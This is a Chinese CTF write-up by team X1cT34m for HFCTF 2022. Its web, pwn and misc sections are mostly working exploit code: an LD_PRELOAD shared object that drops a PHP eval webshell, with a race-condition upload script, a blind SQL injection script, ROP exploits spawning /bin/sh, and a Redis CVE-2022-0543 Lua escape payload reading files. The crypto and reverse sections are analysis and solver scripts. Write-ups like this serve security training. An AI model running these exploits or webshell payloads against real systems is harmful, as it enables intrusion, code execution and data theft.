虎符CTF Writeup by X1cT34m

虎符CTF2022 Writeup by X1cT34m-小绿草信息安全实验室

Web

ezphp

putenv去劫持命令,给了docker是ubuntu,用不了p牛的文章,那么考虑用LD_PRELOAD,因为system也是去新起了一个进程,那么考虑如何上传so,这里是ngnix的中间件。通过https://tttang.com/archive/1384/的方法去打临时文件包含,打大文件让ngnix缓存,产生窗口期进而去条件竞争

#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}
import requests

proxy = {"http":"http://127.0.0.1:8080"}
url="http://162.14.110.241:8800/index.php?env=LD_PRELOAD=/proc/12/fd/14"
f = open('x.so',"rb")
file = {"files":f.read()+b'0'*1024*1000}
#file = {"files":b'1'*1024*1000}
#print(file) 
for i in range(1,1000):
    r = requests.post(url=url,files=file,proxies=proxy)
    print(r.status_code)
print(r.text)

bp同时发起get请求,保证多线成完成任务,写入一句话拿到flag

babysql

查看hint,以及源码,无法注释语句或者union注入,就构造查询500和401来盲注
ban掉了binary,不能判断大小写,翻阅mysql8文档发现,COLLATE utf8mb4_0900_as_cs 可以用来区分大小写
exp

import requests
import sys
import io
from urllib.parse import quote, unquote
import string
import time

sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')

url = 'http://47.107.231.226:39724/login'

payloadname = "'||caseidwhenusernamelike'{}'COLLATE'utf8mb4_0900_as_cs'then'0'else~0+~0+'a'end='0"
name = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

payloadpswd = "'||caseidwhenpasswordlike'{}'COLLATE'utf8mb4_0900_as_cs'then'0'else~0+~0+'a'end='0"
pswd = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@$^&_+%"

result = "_________"

def replace_char(string,char,index):
    string = list(string)
    string[index] = char
    return ''.join(string)

def leng(result, sql):
    for i in range(1, 300):
        result += '_'
        payload = sql.format(result)
        #print(i, payload)
        data = {
            'username': payload,
            'password': 123
        }
        r = requests.post(url=url, data=data)
        if "401" in r.text:
            print("[+]leng: \n" + result)
            return result

def find(result, s, sql):
    result = leng(result, sql)
    for i in range(0, len(result)):
        for j in s:
            result = replace_char(result,j,i)
            payload = sql.format(result)
            data = {
                'username': payload,
                'password': 123
            }
            r = requests.post(url = url, data = data)
            if "401" in r.text:
                print(result)
                break
    print("[+]result: \n" + result)

# find(result, name, payloadname)
find(result, pswd, payloadpswd)

跑出用户名和密码,登录就拿flag

Pwn

babygame

from pwn import*
r=remote("120.25.205.249",27019)
#r=process('./main')
context.log_level='debug'

randfile=open("./rand","r")
randlist=randfile.read()
randlist=randlist.split("\n")

libc=ELF("./libc-2.31.so")

r.recvuntil(":\n")
r.send("a"*0x109)

r.recvuntil("a"*0x108)
canary=u64(r.recv(8))-0x61
stack=u64(r.recv(6)+p16(0))

print hex(canary)
print hex(stack)

for i in range(100):
    r.recvuntil(": \n")
    if (randlist[i]=="0"): r.sendline("1")
    if (randlist[i]=="1"): r.sendline("2")
    if (randlist[i]=="2"): r.sendline("0")

r.recvline()
r.sendline("%29$p\n%27$p\naaa%12$hhn".ljust(0x30,"a")+p64(stack-0x218-0x120))

pie=int(r.recvline(),16)-0x12ef
libc_base=int(r.recvline(),16)-libc.sym["atoi"]-0x14

print hex(pie)
print hex(libc_base)

r.recv()
r.sendline("%106c%12$hhn".ljust(0x30,"a")+p64(stack-0x218-0x120))

r.recvuntil(":\n")
r.send("a"*0x108+p64(canary)+p64(0)*3+p64(libc_base+0x23b73)+p64(libc_base+0x23b72)+p64(libc_base+0x1b45bd)+p64(libc_base+libc.sym["system"]))

r.recvuntil(": \n")
r.sendline("1")

r.interactive()

gogogo

from pwn import*
p = process('./gogogo')
p = remote('120.25.148.180',29561)
context.log_level = 'DEBUG'
choice = [0x12345678,0x66666666,0x54749110]
#gdb.attach(p,"b *0x491EA1")
#p.sendlineafter('PLEASE INPUT A NUMBER:',str(0x54749110))
#p.interactive()
#gdb.attach(p,"source gdb.sh")
p.sendlineafter('PLEASE INPUT A NUMBER:',str(0x66666666))

p.sendlineafter('PLEASE INPUT A NUMBER:',str(0x12345678))

p.sendlineafter('OKAY YOU CAN LEAVE YOUR NAME AND BYE~','FMYY')
p.recvuntil('GUESS')
p.sendline('1 2 3 4')

print p.recvuntil('B\n')

log.info('GUESS Now')
for i in range(6):
    A = raw_input()
    p.sendline(A[0:7].replace('\n',''))
    data = p.recvline()
    print data
    if 'WIN' in data:
        break

p.sendline('E')

pause()
mov_rax_rdx = 0x0000000000487923
pop_rdx_ret = 0x000000000048546c
pop_rcx_ret = 0x000000000044dbe3
mov_esi_edi = 0x000000000045832a # 0x000000000045832a : mov esi, edi ; ret
mov_edi_rcx = 0x0000000000470a95 # 0x0000000000470a95 : mov edi, dword ptr [rcx] ; ret
add_rdi_16 = 0x000000000045bcbc # add rdi,0x10; ret
set_rdi     = 0x0000000000465f2b # 0x0000000000465f2b : mov rdi, qword ptr [rax + 0x10] ; mov rax, rsi ; call rdx
set_r8 = 0x00000000004021ce # // mov [r8], rdx; ret
xchg_rax_r8 = 0x000000000045b347
set_rdi2     = 0x0000000000402185 # 0x0000000000402185 : add rdi, rdx ; mov qword ptr [r8], rdi ; ret
p.sendline('4')
payload  = '\x00'*0x460
payload += p64(pop_rdx_ret)
payload += p64(0xC000000080)
payload += p64(mov_rax_rdx)

payload += p64(pop_rdx_ret)
payload += p64(pop_rcx_ret)

payload += p64(set_rdi)
payload += p64(mov_esi_edi)
#############################
payload += p64(pop_rdx_ret)
payload += p64(0xC000000080)
payload += p64(mov_rax_rdx)
payload += p64(xchg_rax_r8)
payload += p64(set_rdi2)

payload += p64(pop_rdx_ret)
payload += p64(0x68732f6e69622f)
payload += p64(set_r8)
payload += p64(pop_rdx_ret)
payload += p64(59)
payload += p64(mov_rax_rdx)
payload += p64(pop_rdx_ret)
payload += p64(0)

payload += p64(0x42c066) # syscall
p.sendline(payload)

p.interactive()

Misc

Check in

动态图截图即可

Plain Text

解base64,大小写换一下,然后是个翻译问题,俄语翻译,内容是苹果西瓜,按要求加上下划线就行了。

Quest-Crash

抓包,往value里面写入不会让服务拒绝的最大字节,然后用bp不断发包,将数据库塞满,服务500后,点击getflag就获取flag

Quest-RCE

cve-2022-0543

{"query":"SET A A\r\neval \"local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0', 'luaopen_io'); local io = io_l(); local f = io.popen('cat /f*', 'r'); local res = f:read('*a'); f:close(); return res\" 0 \r\n"}

Crypto

RRSSAA

这题应该是非预期了。
做这题首先需要找到这个RSA的变种到底是什么,谷歌搜索RSA (p2-1)(q2-1),就可以找到是 Castagnos cryptosystem 这一变种,加密过程使用了 Lucas 序列。然后顺着找到的paper去找提出这个变种的paper,https://www.math.u-bordeaux.fr/~gcastagn/publi/crypto_quad.pdf,有解密过程,我们再考虑这道题的问题。
注意到p、q的生成过程,他们有如下关系
$$
q = p + 2^{1024*\beta}+x
$$

于是有
$$
pq=n\
p
(p + 2^{1024\beta}+x)=n\
p^2+(2^{1024
\beta}+x)*p-n=0
$$
所以,我们只需要枚举x的数值,然后解方程,就可以分解n。
解密过程中,需要计算Lucas序列,谷歌到国外的一个比赛也考察了这个密码体系,国外的大佬们是用矩阵快速幂做的,UMassCTF WeirdRSA。查了一下sage的文档,发现sagemath自带Lucas序列的计算,sage是真xx啊,lucas。分解了n之后,实现一下解密函数,可以解决问题了。不过我在实现解密函数的时候,按论文里计算 r 的方法算出来不对,换了sage的crt直接计算就对了,不知道怎么回事。

from gmpy2 import iroot
N = 59969098213446598961510550233718258878862148298191323654672950330070587404726715299685997489142290693126366408044603303463518341243526241117556011994804902686998166238333549719269703453450958140262475942580009981324936992976252832887660977703209225426388975233018602730303262439218292062822981478737257836581
t = 1<<450
for i in range(1000):
    b = t + i
    deta = b^2+4*N
    if iroot(deta,2)[1]:
        print(i)
        p = (-b+iroot(deta,2)[0])//2
print(N%p)
print(N//p)
print(p)
from sage.rings.finite_rings.integer_mod import lucas
import gmpy2
from Crypto.Util.number import long_to_bytes
import sys
sys.setrecursionlimit(5000)

N = 59969098213446598961510550233718258878862148298191323654672950330070587404726715299685997489142290693126366408044603303463518341243526241117556011994804902686998166238333549719269703453450958140262475942580009981324936992976252832887660977703209225426388975233018602730303262439218292062822981478737257836581
E = 970698965238639683403205181589498135440069660016843488485401994654202837058754446853559143754852628922125327583411039117445415303888796067576548626904070971514824878024057391507617988385537930417136322298476467215300995795105008488692961624917433064070351961856959734368784774555385603000155569897078026670993484466622344106374637350023474339105113172687604783395923403613555236693496567851779400707953027457705617050061193750124237055690801725151098972239120476113241310088089420901051617493693842562637896252448161948655455277146925913049354086353328749354876619287042077221173795354616472050669799421983520421287
C = 2757297249371055260112176788534868300821961060153993508569437878576838431569949051806118959108641317578931985550844206475198216543139472405873345269094341570473142756599117266569746703013099627523306340748466413993624965897996985230542275127290795414763432332819334757831671028121489964563214463689614865416498886490980692515184662350519034273510244222407505570929178897273048405431658365659592815446583970229985655015539079874797518564867199632672678818617933927005198847206019475149998468493858071672920824599672525667187482558622701227716212254925837398813278836428805193481064316937182435285668656233017810444672

P = 7743971733771153102128801312798743998017713722732925283466018690899116898707556486947918196848489007935614742583856884731087798825462330340492923214926391
Q = 7743971733771153105036156209981171560215008954284943420880584133648389139833517283670475349302080701240378945438911146974137885250527042074631329729385091

assert P*Q == N
D = C**2 - 4
LS_P = gmpy2.legendre(D,P)
LS_Q = gmpy2.legendre(D,Q)

d = gmpy2.invert(E, gmpy2.lcm(P-LS_P, Q-LS_Q))
inv_q, inv_p = inverse_mod(P, Q), inverse_mod(Q, P)

rp, rq = lucas(k=inverse_mod(E, P-LS_P), P=C, Q=1, n=P)[0], lucas(k=inverse_mod(E, Q-LS_Q), P=C, Q=1, n=Q)[0]
r = crt(int(rp),int(rq),P,Q)

vp=lucas(k=E, P=r, Q=1, n=P*P)[0]
tmp_p = C * inverse_mod(int(vp),P*P) %(P*P)
tmp_p = int(tmp_p - 1) // P
mp = int(tmp_p * inv_p % P)

vq=lucas(k=E, P=r, Q=1, n=Q*Q)[0]
tmp_q = C * inverse_mod(int(vq), Q*Q)%(Q*Q)
tmp_q = int(tmp_q - 1) // Q
mq = int(tmp_q * inv_q % Q)

flag = crt(mp,mq,P,Q)
print(long_to_bytes(flag))

Reverse

fpbe

先用 gdb 调试起来 然后 bfptool 导出一下 bpf 的汇编代码 如下

   0: (79) r2 = *(u64 *)(r1 +104) ---------------------- 2
   1: (67) r2 <<= 32
   2: (77) r2 >>= 32
   3: (79) r3 = *(u64 *)(r1 +112) ------------------- 3
   4: (67) r3 <<= 32
   5: (77) r3 >>= 32
   6: (bf) r4 = r3
   7: (27) r4 *= 28096
   8: (bf) r5 = r2
   9: (27) r5 *= 64392
  10: (0f) r5 += r4
  11: (79) r4 = *(u64 *)(r1 +96) -------------------- 1
  12: (67) r4 <<= 32
  13: (77) r4 >>= 32
  14: (bf) r0 = r4
  15: (27) r0 *= 29179
  16: (0f) r5 += r0
  17: (79) r1 = *(u64 *)(r1 +88) ------------------- 0 
  18: (b7) r0 = 0
  19: (73) *(u8 *)(r10 -8) = r0
  20: (7b) *(u64 *)(r10 -16) = r0
  21: (7b) *(u64 *)(r10 -24) = r0
  22: (67) r1 <<= 32
  23: (77) r1 >>= 32
  24: (bf) r0 = r1
  25: (27) r0 *= 52366
  26: (0f) r5 += r0
  27: (b7) r6 = 1
  28: (18) r0 = 0xbe18a1735995
  30: (5d) if r5 != r0 goto pc+66

  31: (bf) r5 = r3
  32: (27) r5 *= 61887   num[3]
  33: (bf) r0 = r2
  34: (27) r0 *= 27365   num[2]
  35: (0f) r0 += r5
  36: (bf) r5 = r4
  37: (27) r5 *= 44499   num[1]
  38: (0f) r0 += r5
  39: (bf) r5 = r1
  40: (27) r5 *= 37508   num[0]
  41: (0f) r0 += r5
  42: (18) r5 = 0xa556e5540340
  44: (5d) if r0 != r5 goto pc+52

  45: (bf) r5 = r3
  46: (27) r5 *= 56709 * num[3]
  47: (bf) r0 = r2
  48: (27) r0 *= 32808 * num[2]
  49: (0f) r0 += r5
  50: (bf) r5 = r4
  51: (27) r5 *= 25901 * num[1]
  52: (0f) r0 += r5
  53: (bf) r5 = r1
  54: (27) r5 *= 59154 * num[0]
  55: (0f) r0 += r5
  56: (18) r5 = 0xa6f374484da3
  58: (5d) if r0 != r5 goto pc+38
  59: (bf) r5 = r3
  60: (27) r5 *= 33324 * num[3]
  61: (bf) r0 = r2
  62: (27) r0 *= 51779 * num[2]
  63: (0f) r0 += r5
  64: (bf) r5 = r4
  65: (27) r5 *= 31886 * num[1]
  66: (0f) r0 += r5
  67: (bf) r5 = r1
  68: (27) r5 *= 62010 * num[0]
  69: (0f) r0 += r5
  70: (18) r5 = 0xb99c485a7277
  72: (5d) if r0 != r5 goto pc+24
  73: (63) *(u32 *)(r10 -12) = r1
  74: (63) *(u32 *)(r10 -16) = r4
  75: (63) *(u32 *)(r10 -20) = r2
  76: (63) *(u32 *)(r10 -24) = r3
  77: (18) r1 = 0xa7d73257b465443
  79: (7b) *(u64 *)(r10 -40) = r1
  80: (18) r1 = 0x4648203a47414c46
  82: (7b) *(u64 *)(r10 -48) = r1
  83: (18) r1 = 0x2052554f59202145
  85: (7b) *(u64 *)(r10 -56) = r1
  86: (18) r1 = 0x4e4f44204c4c4557
  88: (7b) *(u64 *)(r10 -64) = r1
  89: (b7) r6 = 0
  90: (73) *(u8 *)(r10 -32) = r6
  91: (bf) r1 = r10
  92: (07) r1 += -64
  93: (bf) r3 = r10
  94: (07) r3 += -24
  95: (b7) r2 = 33
  96: (85) call bpf_trace_printk#-59760
  97: (bf) r0 = r6
  98: (95) exit

z3 解一下

from z3 import *

num = [BitVec('%d' % i, 64) for i in range(4)] 

s = Solver()
s.add(num[2] * 64392 + num[3] * 28096 + num[1] * 29179 + num[0] * 52366 == 0xbe18a1735995)
s.add(37508 * num[0] + 44499 * num[1] + 27365 * num[2] + 61887 * num[3] == 0xa556e5540340)
s.add(56709 * num[3] + 32808 * num[2] + 25901 * num[1] + 59154 * num[0] ==  0xa6f374484da3)
s.add(33324 * num[3] + 51779 * num[2] + 31886 * num[1] + 62010 * num[0] == 0xb99c485a7277)
print(s.check())

if s.check() == sat:     #检测是否有解
    result = s.model()
    s = b''
    for i in num:
        s = int(result[i].as_long()).to_bytes(length=4, byteorder='little', signed=False) + s
    print(s)
else:
    print("NOne")

the_shellcode

themida 的壳不好脱壳 先运行程序 用 ida attach 上去

用这个脚本将数据批量转换成代码

start = 0x891000
end = 0x8922f7
ea = start
while ea < end:
    print(hex(ea))
    idaapi.create_insn(ea)
    insn = idaapi.insn_t()
    length = idaapi.decode_insn(insn, ea)
    ea += length

发现关键代码 可以知道输入 shellcode 长度为352  然后进行一个base64解码 再循环左移3次

虎符CTF2022 Writeup by X1cT34m-小绿草信息安全实验室接着是一个魔改 tea

虎符CTF2022 Writeup by X1cT34m-小绿草信息安全实验室比较数据代码

虎符CTF2022 Writeup by X1cT34m-小绿草信息安全实验室
import libnum

def ror3(n):
    return (n >> 3) | ((n & 7) << 5)

def decrypt(v, key, n):
    sum = 0xb54cda56
    detal = 0x61C88647
    y = v[0]
    for k in range(0, 6):
        e = (sum >> 2) & 3
        for i in range(65, 0, -1):
            z = v[i - 1]
            v[i] += 0x100000000
            v[i] -= ((((z >> 6 ^ (y * 4)) + (y >> 3 ^ (z*16)))
                        ^ ((sum ^ y) + (key[(i & 3) ^ e] ^ z))) & 0xffffffff)
            v[i] &= 0xffffffff
            y = v[i]
        i -= 1
        z = v[n-1]
        v[0] += 0x100000000
        v[0] -= ((((z >> 6 ^ (y * 4)) + (y >> 3 ^ (z*16)))
                        ^ ((sum ^ y) + (key[(i & 3) ^ e] ^ z))) & 0xffffffff)
        v[0] &= 0xffffffff
        y = v[0]
        sum += detal
        sum &= 0xffffffff
    for i in v:
        a1 = i & 0xff
        a2 = (i >> 8) & 0xff
        a3 = (i >> 16) & 0xff
        a4 = (i >> 24) & 0xff
        print(hex(ror3(a1)), end = ", ")
        print(hex(ror3(a2)), end = ", ")
        print(hex(ror3(a3)), end = ", ")
        print(hex(ror3(a4)), end = ", ")

if __name__ == "__main__":
    # key 初始化
    key = [116, 111, 114, 97]
    # 从程序中 dump 出的数据
    a = [0x4B6B89A1, 0x74C15453, 0x4092A06E, 0x429B0C07, 0x40281E84, 0x8B5B44C9, 0x66FEB37B, 0x3C77A603, 0x79C5892D, 0x0D7ADA97, 0x1D51AA56, 0x02D4D703, 0x4FA526BA, 0x32FAD64A, 0x0C0F6091, 0x562B7593, 0xDB9ADD67, 0x76165563, 0xA5F79315, 0x3AEB991D, 0x1AB721D4, 0xAACD9D2C, 0x825C2B27, 0x76A7761A, 0xB4005F18, 0x117F3763, 0x512CC540, 0xC594A16F, 0xD0E24F8C, 0x9CA3E2E9, 0x0A9CC2D5, 0x4629E61D, 0x637129E3,
         0xCA4E8AD7, 0xF5DFAF71, 0x474E68AB, 0x542FBC3A, 0xD6741617, 0xAD0DBBE5, 0x62F7BBE3, 0xC8D68C07, 0x880E950E, 0xF80F25BA, 0x767A264C, 0x9A7CE014, 0x5C8BC9EE, 0x5D9EF7D4, 0xB999ACDE, 0xB2EC8E13, 0xEE68232D, 0x927C5FCE, 0xC9E3A85D, 0xAC74B56B, 0x42B6E712, 0xCD2898DA, 0xFCF11C58, 0xF57075EE, 0x5076E678, 0xD4D66A35, 0x95105AB9, 0x1BB04403, 0xB240B959, 0x7B4E261A, 0x23D129D8, 0xF5E752CD, 0x4EA78F70]
    decrypt(a, key, 66)

得到 shellcode

0x60, 0xfc, 0x68, 0x4c, 0x77, 0x26, 0x7, 0x33, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0xc, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0xf, 0xb7, 0x4a, 0x26, 0x33, 0xff, 0x33, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0xc1, 0xcf, 0xd, 0x3, 0xf8, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x3, 0xc2, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0xf, 0x84, 0xbe, 0, 0, 0, 0x3, 0xc2, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x3, 0xda, 0x83, 0xf9, 0, 0xf, 0x84, 0xa9, 0, 0, 0, 0x49, 0x8b, 0x34, 0x8b, 0x3, 0xf2, 0x33, 0xff, 0x33, 0xc0, 0xac, 0xc1, 0xcf, 0xd, 0x3, 0xf8, 0x3a, 0xc4, 0x75, 0xf4, 0x3, 0x7c, 0x24, 0x4, 0x3b, 0x7c, 0x24, 0xc, 0x75, 0xd9, 0x33, 0xff, 0x33, 0xc9, 0x83, 0xc2, 0x50, 0xf, 0xb6, 0x4, 0xa, 0xc1, 0xcf, 0xd, 0x3, 0xf8, 0x41, 0x83, 0xf9, 0xe, 0x75, 0xf1, 0xc1, 0xcf, 0xd, 0x57, 0x33, 0xff, 0x33, 0xc9, 0x8b, 0x54, 0x24, 0x3c, 0x52, 0xf, 0xb6, 0x1c, 0xe, 0xb8, 0x67, 0x66, 0x66, 0x66, 0xf7, 0xeb, 0xd1, 0xfa, 0x8b, 0xc2, 0xc1, 0xe8, 0x1f, 0x3, 0xc2, 0x8d, 0x4, 0x80, 0x2b, 0xd8, 0x5a, 0xf, 0xb6, 0x4, 0xa, 0x2b, 0xc3, 0xc1, 0xcf, 0xd, 0x3, 0xf8, 0x41, 0x83, 0xf9, 0xe, 0x75, 0xd4, 0xc1, 0xcf, 0xd, 0x3b, 0x3c, 0x24, 0x74, 0x16, 0x68, 0x25, 0x73, 0, 0, 0x8b, 0xc4, 0x68, 0x6e, 0x6f, 0, 0, 0x54, 0x50, 0x8b, 0x5c, 0x24, 0x48, 0xff, 0xd3, 0xeb, 0x14, 0x68, 0x25, 0x73, 0, 0, 0x8b, 0xc4, 0x68, 0x79, 0x65, 0x73, 0, 0x54, 0x50, 0x8b, 0x5c, 0x24, 0x48, 0xff, 0xd3, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x61, 0xc3, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xe9, 0xb, 0xff, 0xff, 0xff

然后 base64 编码一下

In [7]: arr = [0x60, 0xfc, 0x68, 0x4c, 0x77, 0x26, 0x7, 0x33, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0xc, 0x8b, 0x52
   ...: , 0x14, 0x8b, 0x72, 0x28, 0xf, 0xb7, 0x4a, 0x26, 0x33, 0xff, 0x33, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x2
   ...: 0, 0xc1, 0xcf, 0xd, 0x3, 0xf8, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x3, 0xc2, 0x8b, 0x4
   ...: 0, 0x78, 0x85, 0xc0, 0xf, 0x84, 0xbe, 0, 0, 0, 0x3, 0xc2, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x3, 0xda,
   ...: 0x83, 0xf9, 0, 0xf, 0x84, 0xa9, 0, 0, 0, 0x49, 0x8b, 0x34, 0x8b, 0x3, 0xf2, 0x33, 0xff, 0x33, 0xc0, 0xac, 0xc1,
   ...:  0xcf, 0xd, 0x3, 0xf8, 0x3a, 0xc4, 0x75, 0xf4, 0x3, 0x7c, 0x24, 0x4, 0x3b, 0x7c, 0x24, 0xc, 0x75, 0xd9, 0x33, 0
   ...: xff, 0x33, 0xc9, 0x83, 0xc2, 0x50, 0xf, 0xb6, 0x4, 0xa, 0xc1, 0xcf, 0xd, 0x3, 0xf8, 0x41, 0x83, 0xf9, 0xe, 0x75
   ...: , 0xf1, 0xc1, 0xcf, 0xd, 0x57, 0x33, 0xff, 0x33, 0xc9, 0x8b, 0x54, 0x24, 0x3c, 0x52, 0xf, 0xb6, 0x1c, 0xe, 0xb8
   ...: , 0x67, 0x66, 0x66, 0x66, 0xf7, 0xeb, 0xd1, 0xfa, 0x8b, 0xc2, 0xc1, 0xe8, 0x1f, 0x3, 0xc2, 0x8d, 0x4, 0x80, 0x2
   ...: b, 0xd8, 0x5a, 0xf, 0xb6, 0x4, 0xa, 0x2b, 0xc3, 0xc1, 0xcf, 0xd, 0x3, 0xf8, 0x41, 0x83, 0xf9, 0xe, 0x75, 0xd4,
   ...: 0xc1, 0xcf, 0xd, 0x3b, 0x3c, 0x24, 0x74, 0x16, 0x68, 0x25, 0x73, 0, 0, 0x8b, 0xc4, 0x68, 0x6e, 0x6f, 0, 0, 0x54
   ...: , 0x50, 0x8b, 0x5c, 0x24, 0x48, 0xff, 0xd3, 0xeb, 0x14, 0x68, 0x25, 0x73, 0, 0, 0x8b, 0xc4, 0x68, 0x79, 0x65, 0
   ...: x73, 0, 0x54, 0x50, 0x8b, 0x5c, 0x24, 0x48, 0xff, 0xd3, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0
   ...: x61, 0xc3, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xe9, 0xb, 0xff, 0xff, 0xff]

In [8]: import base64

In [9]: s = b''

In [10]: for i in arr:
    ...:     s += i.to_bytes(1, 'big')
    ...:
In [12]: base64.b64encode(s)
Out[12]: b'YPxoTHcmBzPSZItSMItSDItSFItyKA+3SiYz/zPArDxhfAIsIMHPDQP44vBSV4tSEItCPAPCi0B4hcAPhL4AAAADwlCLSBiLWCAD2oP5AA+EqQAAAEmLNIsD8jP/M8Cswc8NA/g6xHX0A3wkBDt8JAx12TP/M8mDwlAPtgQKwc8NA/hBg/kOdfHBzw1XM/8zyYtUJDxSD7YcDrhnZmZm9+vR+ovCwegfA8KNBIAr2FoPtgQKK8PBzw0D+EGD+Q511MHPDTs8JHQWaCVzAACLxGhubwAAVFCLXCRI/9PrFGglcwAAi8RoeWVzAFRQi1wkSP/TWFhYWFhYWFhYYcNYX1qLEukL////'

将 shellcode写入程序中 用ida 反编译一下  通过调试就可以知道是取了一些字符串的值然后做加法

调试拿出字符串

虎符CTF2022 Writeup by X1cT34m-小绿草信息安全实验室
In [13]: s1 = 'is program can'

In [14]: s2 = "LoadLibraryExA"

In [15]: flag  = ""

In [16]: for i in range(0, 14):
    ...:     flag += chr(ord(s1[i])+ord(s2[i]) % 5)
    ...:

In [17]: flag
Out[17]: 'jt"psojvcq!gan'

将两部分相加 md5 一下就得到 flag